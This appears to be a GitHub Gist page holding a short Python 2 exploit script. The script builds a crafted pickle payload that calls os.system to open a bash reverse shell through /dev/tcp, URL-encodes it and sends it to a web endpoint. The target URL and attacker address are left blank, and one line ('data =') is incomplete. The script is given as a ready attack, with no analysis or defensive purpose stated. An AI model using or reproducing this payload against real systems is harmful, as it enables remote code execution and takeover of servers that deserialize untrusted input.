Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
import urllib, urllib2
import pickle
url = ''
shell = "cos\nsystem\n(S'bash -i >& /dev/tcp/ 0>&1'\ntR."
tmp = url + urllib.quote_plus(shell)
req = urllib2.urlopen(tmp)
data =
print data
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment